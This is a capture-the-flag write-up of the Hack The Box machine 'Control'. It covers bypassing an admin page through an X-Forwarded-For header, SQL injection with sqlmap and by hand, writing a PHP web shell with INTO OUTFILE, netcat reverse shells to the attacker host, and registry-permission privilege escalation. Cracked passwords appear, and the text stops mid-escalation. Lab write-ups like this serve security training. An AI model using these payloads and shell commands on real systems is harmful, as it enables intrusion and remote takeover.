
HTB-Control



Control was by far one of the hardest box I've ever done. It starts with bypassing restriction to **admin.php** by bruteforcing HTTP Headers using wFuzz. From there, I've exploited SQL vulnerability to obtain password hashes for multiple users and spawn PHP reverse shell. For privilege escalation 1, I cracked the password hash found from earlier and used it to create Powershell credential object, which is then used to spawn shell as the elevated user privilege. For obtaining Administrator privilege, I discovered Powershell History file which leads me to rewriting registry keys for the vulnerable services, which will spawn me a shell as the system.

Privilege Escalation from user **Hector** to **Administrator** was really painful since it required lot of Powershell scripting. I ended up following the Walkthrough listed at the references below.

Information Gathering

Rustscan

Rustscan finds HTTP, MSRPC, and MySQL running on the server.

```
The Modern Day Port Scanner.
: https://discord.gg/GFrQsGy
: https://github.com/RustScan/RustScan :
______
SHACK THE PLANET
<snip>
Host is up, received syn-ack (0.31s latency).
Scanned at 2024-04-17 09:26:59 EDT for 2s
PORT
        STATE SERVICE REASON
80/tcp
        open http syn-ack
135/tcp open msrpc syn-ack
3306/tcp open mysql syn-ack
49666/tcp open unknown syn-ack
49667/tcp open unknown syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.54 seconds
```

Nmap

There's nothing special from the nmap scan:

```
r (yoon ⊗kali) - [~/Documents/htb/control]
└─$ sudo nmap -sVC -p 80,135,3306,49666,49667 10.10.10.167
[sudo] password for yoon:
Starting Nmap 7.94SVN (https://nmap.org) at 2024-04-17 09:29 EDT
Nmap scan report for 10.10.10.167
Host is up (0.30s latency).
P<sub>0</sub>RT
                  SERVICE VERSION
         STATE
80/tcp
                         Microsoft IIS httpd 10.0
         open
                  http
_http-title: Fidelity
http-server-header: Microsoft-IIS/10.0
| http-methods:
Potentially risky methods: TRACE
                 msrpc Microsoft Windows RPC
135/tcp open
3306/tcp filtered mysql
49666/tcp open
                 msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.92 seconds
```

Enumeration

MySQL - TCP 3306


MySQL won't allow login from my VPN IP address:

```
___(yoon⊕ kali)-[~/Documents/htb/breadcrumbs]
$\frac{1}{3} \text{ mysql -h 10.10.167 -u root}$

Under the connect to this MariaDB server with the connect to this MariaDB server.
```

HTTP - TCP 80

The website seems to be for some sort of tech company and has menus on top right corner:



Source code has an interesting hidden information on it:

/admin.php shows **Access Denied**, saying Header is missing and I have to go through the proxy to access the page:

Directory Bruteforce

Before trying to bypass **admin.php** restriction, I will first directory bruteforce using Feroxbuster:

```
sudo feroxbuster -u http://10.10.10.167 -n -x php -w
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C
404
```

```
15w
                                        89c http://10.10.10.167/admin.php
         GET
                    21
200
         GET
                              39w
                                      5106c http://10.10.10.167/assets/js/jquery.dropotron.min.js
         GET
                    21
                             37w
                                      2257c http://10.10.10.167/assets/js/jquery.scrollex.min.js
200
200
         GET
                  2501
                                      4836c http://10.10.10.167/assets/js/main.js
                             481w
                                     53983c http://10.10.10.167/images/pic03.jpg
200
         GET
                  5111
                           2728w
                                       151c http://10.10.10.167/uploads => http://10.10.10.167/uploads/
301
         GET
                    21
                             10w
301
         GET
                    21
                              10w
                                       150c http://10.10.10.167/Images => http://10.10.10.167/Images/
                                     73447c http://10.10.10.167/assets/css/main.css
200
         GET
                    01
                              0w
200
         GET
                    01
                               0w
                                     82703c http://10.10.10.167/images/pic01.jpg
                    01
                              0w
                                     88145c http://10.10.10.167/assets/js/jquery.min.js
200
         GET
                   891
                                      3145c http://10.10.10.167/
200
         GET
                            238w
                                       150c http://10.10.10.167/assets => http://10.10.10.167/assets/
         GET
                    21
                             10w
```

Feroxbuster discovers several interesting paths such as uploads.

I will do directory bruteforce once more on it:

```
sudo feroxbuster -u http://10.10.10.167/uploads -n -x php -w
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C
404
```

```
301 GET 2l 10w 151c http://10.10.10.167/uploads => http://10.10.10.167/uploads/
200 GET 1l 1w 6c http://10.10.10.167/uploads/shell.php
200 GET 1l 1w 6c http://10.10.10.167/uploads/rev.php
```

HTTP Header Bruteforce

Here, I found bunch of HTTP Headers that I can bruteforce with.

I will first bruteforce headers with host IP address:

```
wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167"
```

```
-(yoon⊗kali)-[~/Documents/htb/control]
 $ wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167"
***************
Wfuzz 3.1.0 - The Web Fuzzer
*****************
Target: http://10.10.10.167/admin.php
Total requests: 1102
ID
              Lines
                           Chars
       Response
                    Word
"APP-KEY"
000000029:
        200
              0 L
                    15 W
                           89 Ch
000000030:
              0 L
                    15 W
                           89 Ch
                                   "APPLY-TO-REDIRECT-REF"
```

It seems like **Access Denied** page has the size of 89 chars.

This time, I will filter out headers with size of 89 chars:

```
wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89
```

```
-(yoon⊗kali)-[~/Documents/htb/control]
 -$ wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89
***************
* Wfuzz 3.1.0 - The Web Fuzzer
******************
Target: http://10.10.10.167/admin.php
Total requests: 1102
------
         Response
                Lines
                      Word
                          Chars
                                      Payload
"CONTENT-TYPE"
000000147:
                6 L
                      28 W
                              339 Ch
000000141:
                6 L
                      34 W
                              374 Ch
                                      "CONTENT-LENGTH"
                                      "TRANSFER-ENCODING"
000000713:
                6 L
                      26 W
                              343 Ch
000000753:
                6 L
                      28 W
                              339 Ch
                                      "USER-AGENT"
```

Several headers are found but none of them has the response code of 200.

Remembering the IP address from source code earlier, I will change the host IP address to IP address found from the source code:


```
wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 192.168.4.28" --hh 89
```

```
(yoon⊛kali)-[~/Documents/htb/control]
 $ wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 192.168.4.28" --hh 89
******************
* Wfuzz 3.1.0 - The Web Fuzzer
****************
Target: http://10.10.10.167/admin.php
Total requests: 1102
______
         Response
                 Lines
                       Word
"CONTENT-TYPE"
000000147:
                 6 L
                       28 W
                               339 Ch
                 6 L
                                        "CONTENT-LENGTH"
000000141:
                       34 W
                               374 Ch
                                        "TRANSFER-ENCODING"
000000713:
                 6 L
                       26 W
                               343 Ch
                               339 Ch
                                        "USER-AGENT"
000000753:
                 6 L
                       28 W
                                        "X-FORWARDED-FOR"
000000898:
         200
                 153 L
                               7933 Ch
                       466 W
```


It seems like **X-FORWARDED-FOR: 192.168.4.28** will help to bypass the access denied page.

ladmin.php

Now by intercepting the request to admin.php and adding **X-FORWARDED-FOR: 192.168.4.28**, I should be able to access admin.php:




admin.php seems to be a page where it helps to manage products such as to search, delete, and update:



Since modifying the header value everytime I move pages is annoying, I will use Firefox's Modify-Header-Value to automate this:



Modify Header Value by Milen, Linder



Add, modify or remove a header for any request on desired domains.

Add to Firefox

I can set up the Header for http://10.10.10.167 as such, and now it automatically add the header everytime I move between pages:




SQLi to Shell

SQLMap

I will try adding 'at the end of the product name to see if anything happens:

http://10.10.10.167/search products.php



It seems like there is SQL running here with MariaDB at the background.

I will intercept the request to search_products.php so that I can pass it on to sqlmap:

```
Request
                                                                                          \n ≡
                                                                                       5
 Pretty
         Raw
1 POST /search products.php HTTP/1.1
 2 Host: 10.10.10.167
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
 4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 | Content-Type: application/x-www-form-urlencoded
8 Content-Length: 49
9 Origin: http://10.10.10.167
10 Connection: close
11 Referer: http://10.10.10.167/admin.php
12 Upgrade-Insecure-Requests: 1
13 X-FORWARDED-FOR: 192.168.4.28
14
15 productName=Asus+USB-AC53+Nano
```

I will run sqlmap towards the request and it seems to be vulnerable to SQL injection:

```
sqlmap -r search-product-reg.txt --dbs --batch
```

```
Parameter: productName (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: productName=-4706' OR 4043=4043#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: productName=Asus USB-AC53 Nano' AND (SELECT 5448 FROM(SELECT COUNT(*),CONCAT(0x7178627a71,(SELECT (ELT(5448=5448,1))),0x7178716a

71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NUoJ

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: productName=Asus USB-AC53 Nano';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: productName=Asus USB-AC53 Nano' AND (SELECT 3382 FROM (SELECT(SLEEP(5)))vXru)-- TuqG

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: productName=Asus USB-AC53 Nano' UNION ALL SELECT CONCAT(0x7178627a71,0x75626451454e5051597269766e5964785552584c765067644f6443616
    a49646e73726b59716d6259,0x7178716a71),NULL,NULL,NULL,NULLH#
```

There are three databases running in the background: **information_schema**, **mysql**, and **warehouse**:

```
[22:32:48] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2019 or 11 or 2016 or 10 or 2022
web application technology: PHP 7.3.7, Microsoft IIS 10.0
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[22:32:48] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] warehouse
```

I will now query tables inside warehouse database:

```
sqlmap -r search-product-req.txt --dbs --batch -p productName -D warehouse --
tables
```

There are three tables (product_product_category, and product_pack), and none of them looks very intriguing.

Now I will list tables in **mysql** database:

```
sqlmap -r search-product-req.txt --dbs --batch -p productName -D mysql --
tables
```

```
[23:04:11] [INFO] fetching tables for database: 'mysql'
Database: mysql
[31 tables]
 event
 plugin
 user
 column_stats
 columns_priv
 db
 func
 general_log
 global_priv
 gtid_slave_pos
 help_category
 help_keyword
 help_relation
 help_topic
 index_stats
 innodb_index_stats
 innodb_table_stats
 proc
 procs_priv
 proxies_priv
 roles_mapping
 servers
 slow_log
 table_stats
 tables_priv
 time_zone
 time_zone_leap_second
 time_zone_name
 time_zone_transition
 time_zone_transition_type
 transaction_registry
```

user table looks interesting to me.

I will move on to dumping **user** table from **mysql** database:

```
sqlmap -r search-product-req.txt --dbs --batch -p productName -D mysql -T
user --dump
```

Host	User	Password
localhost	root	*0A4A5CAD344718DC418035A1F4D292BA603134D8
fidelity	root	*0A4A5CAD344718DC418035A1F4D292BA603134D8
127.0.0.1	root	*0A4A5CAD344718DC418035A1F4D292BA603134D8
::1	root	*0A4A5CAD344718DC418035A1F4D292BA603134D8
localhost	manager	*CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA (I3tm3!n)
localhost	hector	*0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

It discovers bunch of password hashes and password for user manager is cracked: I3tm3!n

I will try spawning **os-shell** just in case and it works:

```
sqlmap -r search-product-req.txt --dbs --batch -p productName --os-shell
```

```
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'nt authority\iusr'
```

Luckily, I can spawn a shell as the **nt authority\iusr** but it seems like I amd not able to spawn a reverse shell connection from this sqlmap shell connection to my local listener.

I would have to spawn a reverse shell through manual sql injection not using SQLmap.

Manual SQli

Although using tools such as **sqlmap** is convenient, it is best practice to understand what is going on when you run a tool. I can manually conduct SQLi without SQLmap as well.

Identify Number of Columns

We first have to identify number of columns.

When selecting 5 columns, it shows an error:

Selecting 6 columns works fine without any error, meaning there are 6 columns present at the database:

```
productName=Asus+USB-AC53+Nano' UNION SELECT 1,2,3,4,5,6;-- -

4tr>34
Asus USB-AC53 Nano
25

td>2
1
2

td>2
2

td>2
2

2
3

2
3

3
3

4
3

4
3

5
4

4
4

5
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1
</t
```

Current user and database

Using the command below, I can query current database and user which is **warehouse** and **manager@localhost**:

```
productName=Asus USB-AC53+Nano' UNION SELECT database(),user(),3,4,5,6;-- -
```

List Database

I can list databases using the command below: information_schema, mysql, warehouse

List Tables

I can list tables inside the database as such:

List columns

I can list coulmns inside table as such:

```
productName=Asus USB-AC53 Nano' UNION SELECT
group_concat(column_name),2,3,4,5,6 from information_schema.columns where
table name='user';-- -
```

User, Password

I can read specific column fom the table as such:

SQLi Shell

Using this article, I will be able to spawn a shell using SQL injection.

I will first upload PHP cmd shell to C:/inetpub/wwwroot/ as cmd.php:

```
productName=Asus USB-AC53 Nano' UNION SELECT '<?php system($_GET["cmd"]); ?
>',2,3,4,5,6 into outfile 'c:/inetpub/wwwroot/cmd.php';-- -
```

I can confirm RCE working using curl as such:

```
curl -s 'http://10.10.10.167/cmd.php?cmd=whoami'
```

Now in order to spawn reverse shell, I will first transfer **nc.exe** over using smbserver.

Run impacket-smbserver on directory with **nc.exe**:

```
impacket-smbserver share $(pwd) -smb2support
```

I will save **nc.exe** to C:\Windows\Temp using the command below:

```
 \label{lem:curl-s} $$ \ 'http://10.10.10.167/cmd.php? $$ cmd=copy+\10.10.14.21\ \enc.exe+C\%3a\Windows\Temp\nc.exe'$$
```

I can confirm **nc.exe** is transferred successfully:

```
-(yoon⊛ kali)-[~/Documents/htb/control/sql]
 -$ curl -s 'http://10.10.10.167/cmd.php?cmd=dir+C%3a\Windows\Temp'
      Asus USB-AC53 Nano
34
                                        2
                                                11
Volume in drive C has no label.
 Volume Serial Number is DC9E-2AFB
Directory of C:\Windows\Temp
04/18/2024 07:23 AM
                       <DIR>
04/18/2024
           07:23 AM
                        <DIR>
11/19/2019
           04:18 PM
                                       B48B1DEA-5ECB-4FD0-9B45-38D8940AF429-Sigs
                       <DIR>
04/17/2024 04:25 PM
                       <DIR>
                                      DiagTrack_alternativeTrace
04/17/2024 04:25 PM
                       <DIR>
                                      DiagTrack_aot
04/17/2024 04:25 PM
                       <DIR>
                                      DiagTrack_diag
04/17/2024 04:25 PM
                       <DIR>
                                      DiagTrack_miniTrace
                               107,178 MpCmdRun.log
04/18/2024 02:48 AM
04/18/2024 06:15 AM
                               28,160 nc.exe
```

Running nc.exe towards my local Kali lister, now I have shell as nt authority\iusr:

```
curl 'http://10.10.10.167/cmd.php?cmd=C%3a\Windows\Temp\nc.exe+-
e+cmd.exe+10.10.14.21+1337'
```

Privesc: iusr to Hector

PowerUp.ps1

I will first start powershell session through powershell command and download **PowerUp.ps1**:

```
PS C:\Windows\Temp> copy \\10.10.14.21\share\PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1 copy \\10.14.21\share\PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1
```

After running PowerUp.ps1, I can see the results using Invoke-AllChecks:

```
PS C:\Windows\Temp> .\PowerUp.ps1
.\PowerUp.ps1
PS C:\Windows\Temp> Invoke-AllChecks
Invoke-AllChecks
```

PowerUp.ps1 find one thing interesting which is **SelmpersonatePrivilege**:

```
Privilege : SeImpersonatePrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2432
ProcessId : 4444
Name : 4444
Check : Process Token Privileges
```

Before running JuicyPotato attack, I will first check systeminfo to make sure the version is vulnerable to JP attack.

Current user has no privilege to run systeminfo:

Running nmap os scan, it guesses system is running on Microsofot Windows 2019 most likely:

```
sudo nmap -0 10.10.10.167 -v
```

```
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
```

Since Windows server 2019 is not vulnerable to JP attack, I will move on.

Local Enumerartion

On C:\Users, there's only one user other than Administrator: **Hector**

```
C:\Users>dir /R
dir /R
Volume in drive C has no label.
 Volume Serial Number is DC9E-2AFB
 Directory of C:\Users
11/05/2019 03:34 PM
                       <DIR>
11/05/2019 03:34 PM
                       <DIR>
04/17/2024 04:26 PM
                       <DIR>
                                      Administrator
11/01/2019 12:09 PM
                       <DIR>
                                      Hector
10/21/2019 05:29 PM
                        <DIR>
                                       Public
               0 File(s)
                                     0 bytes
               5 Dir(s) 14,765,654,016 bytes free
```

It seems like Hector is in **Remote Management Users** group:

net user hector

```
C:\Windows\Temp>net user Hector
net user Hector
User name
                            Hector
Full Name
                            Hector
Comment
User's comment
Country/region code
                            000 (System Default)
Account active
                            Yes
Account expires
                            Never
Password last set
                            11/1/2019 12:27:50 PM
Password expires
                            Never
                            11/1/2019 12:27:50 PM
Password changeable
Password required
                            Yes
User may change password
                            No
Workstations allowed
                            All
Logon script
User profile
Home directory
                             4/17/2024 4:25:22 PM
Last logon
Logon hours allowed
                            All
Local Group Memberships
                             *Remote Management Use*Users
Global Group memberships
                            *None
The command completed successfully.
```

I can see that the host is listening on 5985 (WinRM), even though the firewall must be preventing me from seeing it from my box:

```
netstat -ano -p tcp
```

```
C:\Windows\Temp>netstat -ano -p tcp
netstat -ano -p tcp
Active Connections
  Proto Local Address
                                  Foreign Address
                                                                           PID
                                                          State
  TCP
         0.0.0.0:80
                                 0.0.0.0:0
                                                          LISTENING
  TCP
         0.0.0.0:135
                                                                           832
                                 0.0.0.0:0
                                                          LISTENING
  TCP
         0.0.0.0:3306
                                 0.0.0.0:0
                                                          LISTENING
                                                                           1864
  TCP
         0.0.0.0:5985
                                  0.0.0.0:0
                                                          LISTENING
  TCP
         0.0.0.0:47001
                                 0.0.0.0:0
                                                          LISTENING
                                                                           4
                                                          LISTENING
  TCP
         0.0.0.0:49664
                                 0.0.0.0:0
                                                                           456
  TCP
         0.0.0.0:49665
                                 0.0.0.0:0
                                                          LISTENING
                                                                           68
  TCP
         0.0.0.0:49666
                                  0.0.0.0:0
                                                          LISTENING
                                                                           968
  TCP
         0.0.0.0:49667
                                  0.0.0.0:0
                                                          LISTENING
                                                                           1744
                                                                           596
  TCP
         0.0.0.0:49668
                                                          LISTENING
                                 0.0.0.0:0
  TCP
         0.0.0.0:49669
                                 0.0.0.0:0
                                                          LISTENING
                                                                           616
  TCP
         10.10.10.167:80
                                 10.10.14.21:38600
                                                          ESTABLISHED
  TCP
         10.10.10.167:50217
                                 10.10.14.21:1337
                                                          ESTABLISHED
                                                                           3288
```

I will be able to execute commands as hector using powershell but I will need hector's password.

Password Crack

Remembering password hash discovered from SQLi earlier, I will use crackstation to crack it: **I33th4x0rhector**



Run command as Hector

Now that I have password for user **Hector**, I will be able to run command as hector.

After starting Powershell using powershell, I will create credential object:

```
$SecPassword = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -
Force
$Cred = New-Object
System.Management.Automation.PSCredential('object.local\hector',
$SecPassword)
```

Now using powershell's cmdlet **Invoke-Command** and credential object, I can run commands as hector:

```
Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {whoami}
```

```
PS C:\> Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {whoami} Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {whoami} control\hector
```

Shell as hector

Now that I can run commands as hector, I will once again try to spawn a reverse shell.

For some reason, hector cannot access the **nc.exe** file uploaded previously to C:\Windows\Temp:

```
PS C:\> Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {C:\Windows\Temp\nc.exe -e cmd 10.10.14.21 1338}
Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {C:\Windows\Temp\nc.exe -e cmd 10.10.14.21 1338}
Program 'nc.exe' failed to run: Access is denied.
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
+ PSComputerName : localhost
```

I will make one more copy of nc.exe to different directory:

```
copy \\10.10.14.21\share\nc.exe
C:\Windows\system32\spool\drivers\color\nc.exe
```

Now I can successfully run the command:

```
Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock
{C:\Windows\system32\spool\drivers\color\nc.exe -e cmd 10.10.14.21 1338}
```

```
PS C:\> Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {C:\Windows\system32\spool\drivers\color\nc.exe -e cmd 10.10.14.21
1338}
Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {C:\Windows\system32\spool\drivers\color\nc.exe -e cmd 10.10.14.21 1338}
```

I have a reverse shell connection as hector:

```
_____(yoon ⊗ kali) - [~/Documents/htb/control]
$ rlwrap nc -lvnp 1338
listening on [any] 1338 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.167] 50246
Microsoft Windows [Version 10.0.17763.805]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Hector\Documents>whoami
whoami
control\hector
```

Privesc: Hector to Administrator

Privilege escalation from Hector to Administrator was very overwhelming. I ended up following other's write-ups in the end. I recommend to check out other's write-ups if mine is not clear enough.

WinPEAS

WinPEAS.exe finds PS history file under

C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\:

```
PowerShell v2 Version: 2.0

PowerShell v5 Version: 5.1.17763.1

PowerShell Core Version:

Transcription Settings:

Module Logging Settings:

Scriptblock Logging Settings:

PS history file: C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PS history size: 114B
```

Following two commands are shown in the Powershell history:

```
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
```

```
C:\Users\Hector\Documents>type C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_histo
ry.txt

type C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
```

These PowerShell commands are used for interacting with the Windows Registry and retrieving information about registry keys and their access control lists (ACLs).

- 1. Get-ChildItem HKLM:\SYSTEM\CurrentControlSet | Format-List:
 - This command retrieves a list of child items (subkeys) under the HKLM:\SYSTEM\CurrentControlSet registry key.
 - Get-ChildItem is a cmdlet used to retrieve the child items (subkeys, properties, etc.) of a specified registry key.
 - HKLM: is the PowerShell provider alias for the HKEY_LOCAL_MACHINE registry hive.
 - SYSTEM\CurrentControlSet is the registry path from which child items are retrieved.
 - Format-List cmdlet is used to format the output as a list.
- 2. Get-Acl HKLM:\SYSTEM\CurrentControlSet | Format-List
 - This command retrieves the access control list (ACL) of the HKLM:\SYSTEM\CurrentControlSet registry key.
 - Get-Acl is a cmdlet used to retrieve the ACL of a specified registry key or file system object.
 - HKLM:\SYSTEM\CurrentControlSet is the registry path for which the ACL is retrieved.
 - Format-List cmdlet is used to format the output as a list.

get-childitem HKLM:\SYSTEM\CurrentControlset | format-list will list out bunch of services:

```
PS C:\Users\Hector\Documents> get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
Property
              : \{ \texttt{BootDriverFlags}, \ \texttt{CurrentUser}, \ \texttt{EarlyStartServices}, \ \texttt{PreshutdownOrder} \ldots \}
              PSPath
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName
             : Control
PSDrive
              : HKLM
PSProvider
              : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount
              : 121
              : Default
View
Handle
              : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount
              : 11
              : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control
Name
              : {NextParentID.daba3ff.2, NextParentID.61aaa01.3, NextParentID.1bd7f811.4, NextParentID.2032e665.5...}
: Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Enum
Property
PSPath
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName
              : Enum
PSDrive
              : HKLM
PSProvider
              : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount
              : 17
              : Default
View
              : Microsoft.Win32.SafeHandles.SafeRegistryHandle
Handle
```

get-acl HKLM:\SYSTEM\CurrentControlSet | format-list will show the ACL:

```
PS C:\Users\Hector\Documents> get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
       : BUILTIN\Administrators
0wner
      : NT AUTHORITY\SYSTEM
Group
Access : BUILTIN\Administrators Allow FullControl
         NT AUTHORITY\Authenticated Users Allow ReadKey
         NT AUTHORITY\Authenticated Users Allow -2147483648
         S-1-5-32-549 Allow ReadKey
         S-1-5-32-549 Allow -2147483648
         BUILTIN\Administrators Allow FullControl BUILTIN\Administrators Allow 268435456
         NT AUTHORITY\SYSTEM Allow FullControl
NT AUTHORITY\SYSTEM Allow 268435456
         CREATOR OWNER Allow 268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -2147483648
         S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow
         ReadKey
         S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow
          -2147483648
Audit :
Sddl
       : 0:BAG:SYD:AI(A;;KA;;;BA)(A;ID;KR;;;AU)(A;CIIOID;GR;;;AU)(A;ID;KR;;;SO)(A;CIIOID;GR;;;SO)(A;ID;KA;;;BA)(A;CIIOI
         D;GA;;;BA)(A;ID;KA;;;SY)(A;CIIOID;GA;;;SY)(A;CIIOID;GA;;;CO)(A;ID;KR;;;AC)(A;CIIOID;GR;;;AC)(A;ID;KR;;;S-1-15-
         3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)(A;CIIOID;GR;;;S
         -1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)
```

There's **Audit SddI** at the end of the command output and it is impossible to read. I will have to decrypt it to make it readable.

Insecure ACLs abuse

Decrypt Sddl

I will first make Sddl readable using **ConvertFrom-SddlString** command as such:

```
$acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services
ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object
{$_.DiscretionaryAcl}
```

```
PS C:\Users\Hector\Documents> $acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services
$acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services
PS C:\Users\Hector\Documents> ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}
ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}
NT AUTHORITY\Authenticated Users: AccessAllowed (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
NT AUTHORITY\SYSTEM: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite,
ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
BUILTIN\Administrators: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite,
ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
CONTROL\Hector: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListD
irectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES: AccessAllowed (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions,
WriteExtendedAttributes)
```

Since the above is still not very pretty to read, I organized it below:

```
NT AUTHORITY\Authenticated Users: AccessAllowed (ExecuteKey,
ListDirectory, ReadExtendedAttributes, ReadPermissions,
WriteExtendedAttributes)
NT AUTHORITY\SYSTEM: AccessAllowed (ChangePermissions, CreateDirectories,
Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite,
ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership,
Traverse, WriteData, WriteExtendedAttributes, WriteKey)
BUILTIN\Administrators: AccessAllowed (ChangePermissions,
CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute,
GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions,
TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
CONTROL\Hector: AccessAllowed (ChangePermissions, CreateDirectories,
Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite,
ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership,
Traverse, WriteData, WriteExtendedAttributes, WriteKey)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES: AccessAllowed
(ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions,
WriteExtendedAttributes)
```

It seems like **Hector** got lot of rights towards editing services.

Exploitation

Hector has Read/Write access to a lot of registry entries related to services.

In order to get RCE as the system, I would need the following:

- I can edit registry entries as Hector
